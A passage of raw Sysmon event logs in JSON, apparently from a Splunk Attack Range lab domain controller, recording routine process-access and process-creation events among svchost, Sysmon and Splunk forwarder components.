C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6140,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.370\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-41F0-5F2D-0000-001000090900}\r\nTargetProcessId: 3852\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.370","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-41F0-5F2D-0000-001000090900}","TargetProcessId":"3852","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6141,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:40.510\r\nSourceProcessGUID: {90617006-41F0-5F2D-0000-001000090900}\r\nSourceProcessId: 3852\r\nSourceThreadId: 4368\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nTargetProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nTargetProcessId: 5056\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nGrantedAccess: 0x101400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:40.510","SourceProcessGUID":"{90617006-41F0-5F2D-0000-001000090900}","SourceProcessId":"3852","SourceThreadId":"4368","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","TargetProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","TargetProcessId":"5056","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","GrantedAccess":"0x101400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+5691a5|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+568cd6|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56657|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+56ca7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe+8f3800|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6142,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.902\r\nProcessGuid: {90617006-41F1-5F2D-0000-0010750B0900}\r\nProcessId: 3904\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nFileVersion: 8.0.2\r\nDescription: Windows Print Monitor \r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-winprintmon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.902","ProcessGuid":"{90617006-41F1-5F2D-0000-0010750B0900}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","FileVersion":"8.0.2","Description":"Windows Print Monitor ","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-winprintmon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:58:43","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:41","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6143,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:41.901\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41F1-5F2D-0000-0010750B0900}\r\nTargetProcessId: 3904\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:41.901","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41F1-5F2D-0000-0010750B0900}","TargetProcessId":"3904","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-winprintmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program 